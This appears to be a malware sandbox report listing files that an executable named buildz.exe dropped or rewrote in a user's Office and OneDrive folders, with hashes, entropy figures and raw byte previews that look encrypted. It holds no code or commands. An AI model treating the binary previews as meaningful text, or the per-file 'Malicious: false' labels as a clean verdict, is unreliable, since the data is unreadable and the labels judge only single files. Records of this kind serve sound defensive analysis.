Preview:	.<?0.:.u.....p.A..S.Mx{u.~hY.......>...y_=n....[.U!..OY\|.VE=D\....;........-"{..>.../%+.........l..d.2!..Q...._..'.x....eb..t.....L.L-.....%\|.....].8,'....qS9...b..:Rj.D Q..s..P=.l...k..c_.<.TF....Klt..Q.f6.s...V\..D..hf....A..:Z....@.cf.on?...\.*.l<..F..6....y...oZ..1..\|Q3W....y'.@...JD..w..U..r.8z.~........i....A.Xg./.../J.n.V...,6..p..f\b....!.O.E.E.v_.I..m..?.GW{..!.....4p...8.....;..BZXzBEG..m..q..-.....Q.u.d..o.9._.x9.^..>..x....\7"....3..68g]....$F......$.b.C....B!. <...;...^M.L.k.w8H.....g%.7.....+..E%i.)...1W"..N ........>:..S...1.z............fg.....}....w..h...Cs=..q.Sv.....`.........~...P..YS...&...i.K.}..F.k..D..}.o...5..F.^......{..v.K.x....1..E.....gf..1HPB.p/.c....7.L..`.5.n_b.U.I..j!.....%..m..c..e..4...B.(.>:r..5.,}..E.~.{.f.t.....hS\n...,..X..S.8..`.P.6"............Fz.74..~..^..O...V)O..TT..].K..K1..-.....g.......V....kg....I.w..QQ..b...QNM....)P.D.....i..B.>'...u;\|a...AS..."c.k.y....F.!.....rq5._....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.886113669035228
Encrypted:	false
SSDEEP:	48:Oiz0cgrRRN8F4T7HoHhstmuEDpyfVJEEOQeF7KD:OY0cgrR78FWMHatt4pyfVJEEOBFW
MD5:	C3B13DAE869CAB1D9F2A4B004EFA3263
SHA1:	BAF3BB3D15751602E93DAC839A8702FC3BDA102D
SHA-256:	BD02707DF6F2B79C2CE242887334E27980A523515E87EF07CC1EB6016D2CE7FC
SHA-512:	D04D68B35B821B71A131237A6EAAC90C74A83E987602FAA0F9367A6FA56A422C1BEA722DD42FDAE0D22E6395685DC5D1089C9688C903C6CDD2F5A542A1943929
Malicious:	false
Reputation:	unknown
Preview:	.<?...U.\|..x.....t4.g....W9H......MA...R..c.....-s..k.0.y.5...7.=...O4........,..\|..-Y......eh.x.H.....h..v....bv..H.0..<zU.x....A1.......rt..E....Z..<$z....}r,......+.}..D..n2.[..H..X..n=..C......+..%._.o..q...8.8...t.)...?.q/.C-.2...7..s.qW4...H..K{.ck.....9..F..-g.i.o...n......qRQ...e......}.v..)<...Z..d.........]"X&...}.?\|....`d...\|...v..../8.i..S...p......V9..<(.oS...,..f.F....<...-.&L...........=.Df.A."\|n..<&....@..T..I.L.#.{o.......)..#.$M.m.'.7K....p.Z48...,..^.Z.T.........Bb..m...p..zT)]C.D.....^T...2F>.I]gD.....[....h..wU^.b..Z....a..5..u..4-..^?..us&.Fo...._HqD..S..oc;\|..<....@..Ez\e..r.Pm.....3Poma..B...._.z[.gL+.....O.n.............`oR.xXR.Y...$V.R.:.Gtb.=O.7x.>_zYnj..$..U`#....`Pf......s.......J.D....k.........7c.._...mg9!T..F.....X.?\|...p~..:..Y....p.......y..>.>....j.....El?(..9.U...A.M..t.T- "sY..e..Q.e...-.._.1.I...Yx.g61q.ga.3.D...5....y....<......~}.........o..>..W.Z.....<._..k......'..w.~....HQ.01.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.897084188125634
Encrypted:	false
SSDEEP:	48:FcqXxtByWnE4pDXyf8qW86+o7BXksuC4CJD:Fd7/EeDipRo7tkP/Ch
MD5:	D6D0CAC25A1EF7C1A2A0D0C0267D815E
SHA1:	31DA7B38204F9854DE1D53EF813D3A5434521E63
SHA-256:	BC6DF87E090E9727D7282463A650B21AFA69EF2023FE2C95C9466CEC149C862E
SHA-512:	73A72085083E456503A15E63FD7A655A383ED4A5D6785BD1AE22C9BB728C038534E69B2B096E6C436D75E90FAD9FB3FBA09C987727E949215B355330A3C3F31C
Malicious:	false
Reputation:	unknown
Preview:	<?xml.]A......i#h."!.F."...V.)S[....:.=%.W...ynx..5]A....[/%..;.N.>...T..oaFy\..Jc&.zB..=.).......^.. Jb...^-.=\|......h..Z..s.o..K8dhs..c...B..2.{....r.7..y..T..:v\.h.(.$.9.......S.c..^S.^.7..5.cP....4.....H`.....R%.l.....#.JY.G.j..C.s.+...=`.<...E....h8........O.(}..p.%..&..=.;....I......y%.x9.X.r.c..J.\.U..A..GJ..{!....+.....t.S./u&...E....k6.IMo...D..K. .'W...._F.....$..ID# ..r]...i.1.y".zik.0.-./..".#..o.T~S.t..3Q.u..Z...<..%)..0....e...3+%j2Y...+f...mt=.Z.'.5E.,.S,>1...FL...s.7......\|.rc..'...z.C..N..(...m....i..rQ.....s..v.D.0{..h"....P.-.^.U......uTZV.M>/.ldu.a..+N......:-v..1...L...C$..)....J.Bd\j-.`....:e..6....xj....X.......yn..I..%PV@...>.....=..vi....^U6.+lK....U.o7.%F'6c.i<...=D.v..V.O&M..0...A.Y..q2n.wh4@...@...`.\|....u.b~+.kdaD...o..u.g...%g..l..."Kc..pZ0.=..i..../.f.D,c.ek.J^.....[.D.L:W[...S..-P..............W#..n.`0..L.[:3....k.E.1.........."p.`....}1....O_.....&&`.8.H+n..o&....vO/>1....^.L'..m...J...:.A....w.i.Pp=D.

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.0953.5356.1.odl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7046223860866055
Encrypted:	false
SSDEEP:	96:TOGm29ygU2hGp1SRxraka9eqjjeGAkJrjvB:SG9yb2hGyxrareEifArr
MD5:	6377E025E445FEADC804CC9A72695031
SHA1:	99F5CB80206A69812B84B6A964BE4BCC9DD95CC2
SHA-256:	91A2E9E2A96782E129EF02F16840CE62D7285AA273712A9C9285BCDD6B3A87E6
SHA-512:	C06C57A65EF0D2314CC191C13076A3D3193DBA63F218ACD1C1330B93F95461D4AEF0B7844942A890285BFF2E199D2B1C72270A8431CE0A2A30B57D702DA02223
Malicious:	false
Reputation:	unknown
Preview:	EBFGOY6..UIh..........f.\..?....%.xlI6.V...p.!.A.a.0..y....%U.l....5...t.....q........f+.R.H.A.Q=[..C..P....b....zXd_.\OPf..<.b.@ G%l7...[...Z....~...o.`kF.-K.Ew."(.m...G.I....ucD..v..\|..f.g.g^b.x.Z..].{\|.I\.k1...`ij,....-].r.....pGV.XA.....e.dX..@.E..3..7....85......{.f.Q.Z.a.^...f.G.;..&?.3.~..6.C...x..A...p..b..^l...{....1......p.,#f..}8.C..8...P.\|...V.....R$...8$....<?....c..f...9....R.a.\|..#M.....I.5...{'...(.Th..3...k.Qjhc..<u.VO...U...d....3..~,...h...o.6..'..W.$"z....q..=...?.\...g.]K.......H..&.;8..E.K.........].M@...b4..v8..8C.......s.e.(u9P........d^..\|.l.Wh.tX...[["7bN&.U.....F.s.....4..'I.g..Fr..i..y....2...<...;.a/...~.....Y.x..N..Q../]l.a..gs.{ja.j....o....d[-....w...N;...'.qApm.D....IL...........y.@....:.OcL..AV.h.Af..z.].z;...e......=P..RB..H!.{.ts..0..$.U....12.Om..e..........Y..~....@3]......)<"......J......LvO.^.o.N:.A.%....p]..`M;.i...#8..U*Cs....0VS..4.6%\?6c.'.@......4P...\..R2....n$.<x.A.*.1..J.km{....iD..i..

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.1052.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7695040582090451
Encrypted:	false
SSDEEP:	96:jQGwNeuFj8vw7rQQiPZcRvRgC5VMeCjhVc1SRZ5NL5E:jMcuFj8IcwLUeg3t
MD5:	22B7DC9D8FC6B121841B0F91CE9377F4
SHA1:	3D0A55A810EF3E9FEBF39BB9BB288BB99B5D9411
SHA-256:	D789895CC0F8E55C5A44E3D255E92C9FAC4EAADAABAB1BC5D4BABCDF0C06EFB0
SHA-512:	001EC32FF0921B2D84847B5D319A02D73E6DAB8E3FD67E227DA4E82CBCA48AF3C8C4A5076B72921A9E17A09E91A6A03EB534278A4AC51423DD16FC9B3BFDC352
Malicious:	false
Reputation:	unknown
Preview:	EBFGO...KlTa.e.:5HY....uG......8...@..\|.C.>.~.Rdt.K_...>I.hs..=FB.m..\0.f......O`.Wq....^.R.....b..Dq>..\.T0.s.6..J....uM.V.lM...U..R...S.......j.1..o...l..j....=m<...A..N......9..I..g.i"V.cVT..b0.[^V..................F.E.x.k..Y2...Y..&....j.d(.O.....PG/je.%.z.A.)_0.>l.;.h..;@.[...7-.../.sq[F...\|....9....4....9....>.....Q..6...~<.....?...Y,=.,]_.d.o....a.&Mc#..QI.?......v.v...R(..$....l.......L..:...C.E.29..gT`7(.6.9@z.kj..$.c...>..........>39f.v...Q....^....&..l..3=.f.9..N;.D[ ..Z.Jb....U.S.8.b.j..7$+..0...i?J...Hi..z.v..?.......p.....T.p.7..v..'..@#}............7.r....8oq......@....L....1C6.C.c......h...g.N.).`.....B.-...(...}.A.sM../..WB...Y..@!.H...W.....2ah..?..Me.E@...k..s.u.2....1z.f..j.j....e..2z,....-> .-l.1DM.._...U.3.vlG.....2.7.v......./.GD.i....>.\%..D.....v.b..gT_.s....N<.w.z.l....I..M.Qyn..vc...u1.[..u..{kW......K}V..X3$:..Y.....J.!wk....,l(N...tS%#.@+..}.t.....t......[*....W......4..f..K.-.T......N....:2.Q"..Q

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\telemetry-dll-ramp-value.txt

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	344
Entropy (8bit):	7.202518846857743
Encrypted:	false
SSDEEP:	6:iYdSd0WgNLN1kAbXi3aIFkTRZncmJfzl1afWyc3cii96Z:NId0OAziqiMZXJfLaf1+cii9a
MD5:	2248AA783745DE24E90E29BC21717C75
SHA1:	633249924A5E7E3C0162E0215AF3C3201B82C8E9
SHA-256:	937083A0834FCF5F5CF6AE1592C734DE7F891DB862547227F7FD6EE286FB4D0D
SHA-512:	B9D6279E25F328BEC4157BB9F8ECADB6C80E5ADD4940A6ACA4A402BB946009AB015698E8FE382DEB1D1F560E1C44735D2AA206D5B882F83CDCC5C5FD4BC10FC0
Malicious:	false
Reputation:	unknown
Preview:	2..0,WF.Hjs.......n..fn>..5..?/\|.V....dN.F?...5..a...Y9}..h53y....d.c~Wc.*.....m.&;.&O.....C...?.m..N.. ...leo...q.`..A.,"w%...U5f.......>>..hg.P..-....#A.c.:iF{...z....W..B5<..z/6_n.........KYc.@....8.S92E..,k.4C.y.W@...L.M...5....H..%5$L.._.\|r.g........ZSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1149.2948.1.odl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0428719274652989
Encrypted:	false
SSDEEP:	96:wVv5lzi5v9XyvQJ0QhJnUXDisqrjQqlx+ELhhzrJw5iJadYzQ3WSMZHstydS/y:Q7Ev9V33UTisONx+avgiJaF3Wbh
MD5:	669DFDDB89D47BD7765BD4B275D4228C
SHA1:	7BB3BE0D8263BBC16816CE616281DD95DFD68358
SHA-256:	054F159B8142C3D6CFDC7766CE42455A09B6981AC1F51E06FDA5B48DA43CA9EE
SHA-512:	7D620EF018D59C221854B4687BA82552D5039F7589576542CF62BCBF2777FEB034C9BCE6F580D4CEA13D5289CDC2E6FFB82145CFB21F2393F083FF8460B5D5CD
Malicious:	false
Reputation:	unknown
Preview:	EBFGON...N.'h...........J3.......%..pX.....d.M0.jp.1..UP[...O......0m...^...K.k+,KP+...q...d..7....]b.`j........rI.u..tG......%s......:. .......d=N.e..S..{8x8....A.f....G.Fwp..[.m.^...lE?.E..o...w.8.....\|.L......@.T...?....}e{...rB.~q.-/.v,$s`c..2b...>....."W#.kL.X..'TT....E.E2...P...1...a.<b8r.U..#.6..}i..N($.DM...!."....kc.m.:......[f...._..=.K..VL..R.~S.K.p..K;..P../...V.......4/.~.....h.%.....,!.VT..q...$....#..X.b...]l..z.'.........u....o....._......8.]..2D[.~....P......6....l.tH...Q..%..=..Bq=.i...x.0.:Zc...Y.1.........H.>..]g.5..MU+..b....H.....\b4o..j....o..n.%1../..j$+.<J./?..~.G.xv......<o..xhO"K.f.n...lR.+.../:..&..U&~...T...4..&2.._=..n....%aPL.G].L..y\.p......M",+L.`;...K..@......5.5+%.y..._l.'.f.........{lF...9.....b....^....9fTUL..U..".n..Bo.{7.,Q....Eg.v.{.A.=.h..S.Pj.s........0c..n.....`&yU.y.5.I..x1..C".vg$.n.(..w......~........zW..'$.~.^...zC)7...Nhc..{..Y.~.....I...gUX....-...v.....[...r...f.F.-..I*..F..M\....n.jo

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.aodl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2796452004524246
Encrypted:	false
SSDEEP:	192:KWFcpZy0RXTR2GJTW+L36o277LMz2jl86HrqgXKo/:KWSw0Rh36o277geLqTo
MD5:	78D48CDC54B8696D6FC828E17EFC25D8
SHA1:	34F55BC3ECDFD0D09424E0F6DF0E2FB293504DF5
SHA-256:	E606BD3F5F081F79F53E3883C91D98D2ABE4AD88ADF8E93677875DF69113E25A
SHA-512:	5CF9E4833D7911D417B2690595B357DA9F68C4FA5F6B18356E6AEBEEDA1D3B715C8CEC10AE55FE40A1ED100AA5B96A58D6910E82F72F837BF2DDF3D37F359922
Malicious:	false
Reputation:	unknown
Preview:	EBFGO..Id.na.6...p.\.."H-...}..-..p?...-+}..2.+.....+.....Tv>.VT)...U.-..L.,~.>....T.#..21....KH..@G:..8v<N.f6v7Kl}..j.D..}..MND.I....1..)....dE>..3.v.N..\|..Y........:.cN.?@.O.dk?..fF.....k........=..9T...S.[E]?...Zs..AFa)..z...'3)1o..1?.......Zg.;..O....j..i(....Jhx...L.j.M....i...~..7t....&.(3H..0..Jm..Wri`7.....l7.h.$...\^...\.3..Z.Q........a>T........d....Xv.C..T.iY.9;(LF.U......v-.;.M.z...N.[(.0..k\)#..8....m...NR...K.C@Y...ar.y.....Q.3<3..w......]._I`.w......1..}.v..?....w..a.'s.j..(<.1....&....;=....Z.#.....G..Kle..v].K.>iZ)-....G.7-..K....H...w\|k...).r.1.\|...$ad.Ft\)!.,...TJ.K.&,'D.C.q...."..pB...K....._1tPG.......6.l/..u. .R......x....(.S*O"....Q...P."..{..LI......e.nh.7b-N?Q1!.....S>l..=...n..RXd.lK>..H..jw.......x.....0u..+.kg'c..d...t.......c 2.G..MA.....C.D..".Z...o}G..K.!7&.Y......0.N@..>=[.3........&j.t..;p.z,\|....<.O..<.S..3<t..........j}.V5..._Hjl..>.%#@_$..&..>Lbi..x?.iu.DC4..{$.O...'..(..h.....&...`.........fG..{....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.odl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.8935565241265238
Encrypted:	false
SSDEEP:	384:I7vjsRHAi7V8stMoXnBIRZwSbuhp7dCp0ns4sRBJAZhkUa7:I7sRfmstMoXBAU7dCqAQX
MD5:	E62C624D152F0B6961BECCA911CB0C64
SHA1:	AE5C3A68BD12C39D320E33C34D16264AA1C0607F
SHA-256:	FA9D6DBD635C3CE0421D18DB7D0EB59039376F3CB45CC348C490F9B0FAA9CC09
SHA-512:	83BEEBBA6BA931F1E0A56D306C25726A4C1157D0ADCECDD6AF4F38EDAE6CE01DEB6F636C1B7023B6B649D635E36C06E8275245B8A7B6924DD126486FDDC4AD39
Malicious:	false
Reputation:	unknown
Preview:	EBFGOX.7.>......f.e........6....;nP..T....VU.{l...R...=.VT......[..i..P.?..."4As.r.p.F.y..5......O..kz.1..+.<U.cr....-....+{x.q. ....A...q.\|.../...0Ib.9b.A>.a.(..I...(L.d.>C.&..9:..`....mP..~'...x..}.R[..l1..R.n%.... ..`.1.`7...c..._.[r!...i.s..\.WM.....P.....O.rv.g...3c...qF..L.pgA.s..eM.3...mgg.TNW..c..'R..zg..$..rg...zT...5#NC....?....j..9x..tGG_.6.n.+ZC..x`.}.).........k...M..0....Q..`:/.,,U..".U^fi...}......b_.0...Gf.d.d..k%.y?`.L.......I..I..nli.I.Ov.J@1..E.h_..t.-..Dnu....z!.kM.p$....R.=..I..R.C._{.3.$49g.z.q...K...iT..x...)..g..U....3h....5.hC0.,..+......3h5..!.aI....P.K.T..=.....;.DP...i.U.I...5....%Q...GO.J3u...,\.Z....B..B...>..1..h z..t.k.B...T....q.xX.(.T..\|..-...Ng._l.5.g&..M..;.c...:..B...A.9.'.aJ..6..._.p.(.3T.../.h...4..C.$......y..2OQ..3. %......sQ._..$c...?...\....7$AvEn...........V4g....R....oC..TW...s....v?..B...G...T..h.%..:\..N..rCL-X.Q..j....u.x+...M}...m2..2.B..S...f"tb[........R....+.@.F7.~x...@.`a\|J..r.c.X...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.aodl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0127060736277347
Encrypted:	false
SSDEEP:	192:e79CRhK48IlgkLDbpp+Flhbj3G/4SAyi7:e7d48AgkD6Bu/4Sm
MD5:	6F57E22C15D0480CAC58DFBAE6012457
SHA1:	9D0D855328772252FA82567DC624D4E66B740E4B
SHA-256:	8B09935FFE6E3858A41D429FA0F66FF648C264CA1972D989C6421AC4ED29AF23
SHA-512:	531D6D30E7156D6B47955DADC5880A30C8E875A46E551A00767B33465DCA67BE6C384D24EA0B7289CBE6A169582642955CAE08AE953E4BBD838520F9ED7739B4
Malicious:	false
Reputation:	unknown
Preview:	EBFGO.x].@..H..-69.S.Oyi.c..v..-.7e.I.....X./.{..........vW.zj8A$.........$vM..P:.$.../...KBY.}+...a....sCiszMT..2..V(....a[.TE~o8.~.%~,o.4....m..#...mo.e.....c2.{..y...L.b.P... ;.<T.@0..r..#.......?_.Y.G.....!...V....i..v$...o..w.%.oz.f(>.-.....s.....P.A.V.....1....$.8.A..].1..=.[.....l:Y..P.B.^.G.....,X.w...{2.&x.k.............[..b.W...vf,..>..;.=V......r.W8....O...J=.>\v.71....n?...?.T..#....^..7.4. .n..v.%.>RS<..`M.'F.8.)7....<..X.E......-.%.w.x.].1.$..P......H ...!.C8.....\|].?....#.<.0.U...8..........5...._ .....T...D...............C..H;.W.9D.!..S@O.....-.d..)S.GkE?...c...".1.9"..O.~.c+G.-..;..8$O..W.k..e..r.<.......0P.!B",>h..\.-\|f..T3\..c..je...?9....b.j6.).o.0~U..V^..+..}Ey.E..c8e..1.=.A9.t.......E'..7...........XD..C.A_.[.\|q4.8.7......7..]...j?a\|.K...,.e....9..]<.L.$...ed...t....(.G.R.].`.KW.K.S...Dc.N..:..........p....1..#.^....A..7Z.......v9R.'..+.4.....3...Qot2o?.......X$..D\....B.....b.*.N...)...z....X%.-E$)K..Uj....EF.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.odl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.2068071434364591
Encrypted:	false
SSDEEP:	12:JUUQfP9SS7Q3Mp88Naq6eE7IHRDIcDxoM8/qfdeYxtQa6GfE/BrIXnXotmDJxM14:YfP9UMp8CayzOcDAqsu8F/BcImbz
MD5:	796EB7E5B4E05CAA260F936E1F04664C
SHA1:	8FB0BBE2715C36CB96FA58BF034806D392C93BB0
SHA-256:	7B1E5EA464A2FEEDAD55D99C9BCB80795F92F667EC4F4CC77B337B31281C5E39
SHA-512:	397871B91966AA691D75492BEB094D7A58412D2D9F5062BC7CA6CC8ADDFF005B203E0702C527AB76FEDE94CF48DB6600840E2992CB2FBF65B32F2AE4E45333B5
Malicious:	false
Reputation:	unknown
Preview:	EBFGO.zc.R1J.%e.B...._P...i.Tgx.y...Z..^.+.Ni..%..R...p2..!(.r....Dm.Go.hN........X...b._".0.x.n..JlR-..Sj..~.B.E....O.....1N..q.i..@...p_H./...._j.. C...!.....Rh...O.Z.S......X..2..e..?.....G....S.........Y.sq..pI"sv.fQ.(m..D...Ll..M.f^Zd..>..=>.~.6.E04...r.6.Z.Q.$A\|......x.}..k.t56....mu.$.RF.:...F`.!.f..Y^Lmd...S....;...vI...kR...W......S.E......J..m-A...3Z. x8...........]..c...8.t.c..=A...;...x..\|pE._..v../..{z,J. {..V.2 ......w$.S..F...J.+3.yY$.....>-gc..BL.k....Z:.....D.03..[l.D^.D...S.........6....b.^..(....t..h..X{].f....K5.hTxqq.o.7.I...o.Q.....5-.;...&.4n....(y.k.e.=........-..#{.'....K.5.....#h...EK...^.....H..U.b$.}...l....*..8.....T ..@S..{...=^>X....y.Y.....,EU(nR......\|...'.!@@.t.....d.....^.Mn....=".7cp...o....Q.[a...AyR..(...<..BNm\|)..`O{,.%..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.aodl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.687903445906749
Encrypted:	false
SSDEEP:	768:fqwmMf9worg5qiOUmwAhcd6Y3fxrouw6hI2qYtejCY6K:fB3gHFm9h8DJhI2b876K
MD5:	03B4ECB21F4BE7FCE49E6D7D9733D948
SHA1:	C9766B57E672DBF6FC700664490B432C687FE2B1
SHA-256:	DFB273BB31F439881B285CACB6EE0D5D1329491E8F0C8E31043CAAE548BCD77B
SHA-512:	AC9DE93E613494A49BF0B4D3361B3CA35D19640DDF14C4C3CACB4E7DDBC96EC91107CD53AE4106BE4EC454A9C3404A1968BB8B060A6B56D5B8559B521F8EB527
Malicious:	false
Reputation:	unknown
Preview:	EBFGO.......s..Z.v.&....w.~..._f.D.L....$..T...A......pu.K..X..P.O.....K{.K!.......x..../x...t..l.JV....GA.=..l...X..Q%.>.#%...k...1..F....G...#...G..Rsg....8...u...7L.i..&i......pW\|.t..P..Z....[.`,I..@.;.c"f....c..b.!..",..~{z^.....P r(.6...E.:......F?.n..e..'..S?%.....e.g..a.j...6..a...WP...J....3.."..C...mCD.W...z....F..K..d..[.......{.....m!.L\..._..q,{.@}@,3"v.&.2...C......K....\a...s.9]?~..l...=..&-.`.bj..An<k.=..ZN.?..I...QH.y...ypD6....w..^-......xP......h....T/..$N#..5.UT....C.....s.<...65t..$.!...>;....~X=...Q..%.O...119#.KwJ.....)./..i+..CX...B.._q.H.v).5~........>.C.......Z._..>.X+.c..<.Be<A.u.,./.<...L....tQe.ol@.a9Y.Q..{u.{..].?.R...Z.g.....:...3......V...}..\|..T.{..&\|e.s.l.B.OY.PP,9.)...".:#...-..i..D.M...v.......(...}XR.....o..;.Z=yS!DRecu.=$...$N.......4@.3?Q<.z...3sB...l.y.?.^ ..D..>8..Di..X.....K.>...}....._.PL.KS\."i....'o../.....o.lS%...c.,Sv.cx-........!.Mp..2I.Y...'.=2..8..#.....y"S\|...H..`...O....=Af.n...{A3.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.odl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.27063660617172747
Encrypted:	false
SSDEEP:	24:eXxhR1erh5ho3xmQVxGdMNe8tWCiL/Hk1B6Nbz:2H4rfPQVAQhiLkItz
MD5:	187583AAF1262A1111D968050F48FC8A
SHA1:	2BBF43144DE03C31EABDCC26C0AB69D6AA7EC07B
SHA-256:	1C59EC3C0ABCA0A1A697CC860AA9FD426388F4F0BFD35C32D684C31CA7E20198
SHA-512:	EF8101A48F2707769543FA2C8B05104FA7625F63839DD8631F6919091A0E81C6E4C301AF86E3D020CCFF19B12E9D0037AC4B90F10C1A322E984684E73065CAEA
Malicious:	false
Reputation:	unknown
Preview:	EBFGO)........C......@j......%...uRE....\Z...:!0..\|-.N.g..8...?c7.h5U./.@..DK.....3.l0....6...f..........S....Y.+..t..Y .......U....t({`.......P.+.!.y......~.;. ....C..^t.%.....$.X}:....s8.....D...o......in..v....v%.].!.G&.C....]....Y.6........bh;....4Y[...k.F....78..rm..D.b..!.m/.....\.4.S.A.,.."........=L.f=(.eA..$....q....<...Z8.....:.....nZ..l..E...M./i.[.9SVz....)$n..@.0)j.0.M.b.Ly.}>Md;w.F<B...59...9....N...n...O.... Bd..P ...D#..'!}9..u.....ut..MUl..g...9.!`..Oq.2...f.f..'Z..A.@.E.R.k..H..KM]..a.i3`9...t.j.0.1.[......".&=.....M...P.......X....._.e.v.....B".+.6.2&..+...K.} ..y.{.jdM..~...H.N.n.....<...}r...r.....It..r<..+.m...Ro".~!E].[T..]3_:j<KH6...M$s.t...uq..~/.9.<.\|.jy....0.6..UZj..C.....M/.w..M.V.a.....-..1.. .K.9..%X,.(...MMR.\|"....m.=..LeEv..i.^<.x.B...Z.y.C.`r......"..T......p^.p1..Z...f.."0t....!...`...I.6.nh....Q.*..}-I..w...t~..j.....O..ad1.z......8..{.\...kH.&....N....n..J)ft...a..}.....x...Q.R...2.....O.?>.a..k..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_114938_158-b2c.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.911841534469795
Encrypted:	false
SSDEEP:	3072:t2lQhwHognrlOl0LKlV9cfOGgNcjzdWdwjWa2:oShZER7QV9c2Gg+z2w+
MD5:	EF3F36684F99E09C632F79ED96C3A659
SHA1:	41138D38A4B55BC1267C4192C20A6592FDDB0AC2
SHA-256:	2B46160E823FBF222A1A9389C36BD29D8495EEA2F4815CDE358288A97B121C4D
SHA-512:	E7159E523588FC38F3D0269E94E632B537D8B9DB92523BBCE5E28E5E6F089DE0A829536DC996DC9C7998B3BD1CD756CE403B4B8C951032EDC769BA7F34342B9E
Malicious:	false
Reputation:	unknown
Preview:	1.0./..Q.$8.a#..H.Hm.9....C..#5.l.{}>..%..8..Q.k.@.....-...T........Cu.^..b{.B'p...Ct..........FJ1.6..[>.%g..v9.k..y.....H..%.S...}Q..U.R..R.0Ov.D.#.E?zwH..9U73..d.;......k8.M.-5.0..:N..~{..e.PCu..Q.@.......5..7.....-+lk..8..H.;........r...[.......!P<.&.+....,8.#.o..#..%X...Q.....}I..c.C.q..5.D......f.@tA...9xVI.>SW...n.....a4..~P..J3FM..MS.(t....@.......m...Dr...x.o.nn.....De...g.(...I.........y3].e.y...p..U.M.UZ.L.w.L.\|...f../Z....,.?.vU...W...!9<"....F.7..(..^.....B...\|vzM(......[.#...,8........o..). 5....W.{J.....%)X.....V4.......U....F........~..1.+....S...c.'_W...F...[^L>BJ...O..p..........70.z.O.}...r.$...L.5%........q6.....3\y(.P.....V@...x..a.[.A.N<.....2fD`...W......[G.w.X.......c....j..@.mNt/ ..#......i.y..!..z&.../8.....z..&Mj..q.f............'Qhq..Y..w...B..c.&.3e.n.........7...(....}.z.u........{..K.mw.6....&ZfznE...t.....P4.A.>*\z..k..S...[.V..F.v&..n..:}%......_...,....~..@]..z.V.k.\|.bv.....@.....^..6.'..9.t.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_115005_9064-2616.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	6.7942650376119875
Encrypted:	false
SSDEEP:	3072:BlsaWvLoCr5YkjOcckyoM/YtaJQ5lBJdc9fxK8KPR6Wt2ckGnskGtN:IDRS/YSQ5bcT8R602O
MD5:	A7717F1BEA542B4726D7C53F6AE5D5A3
SHA1:	371C10A1157EA6DFAB582AFE2ED5A05817792D20
SHA-256:	EFDFE3C65250BAE8423B8469CAF93FE39982017A42C504932CC187042614ECB1
SHA-512:	326468CFB319A99B149DF82EFAB6585F88884B51FFF93FE6714397C13FE371999656FDA2BBF3C791CF7E74163697BE5CA56988781AED212040C02BBBDF1D20A3
Malicious:	false
Reputation:	unknown
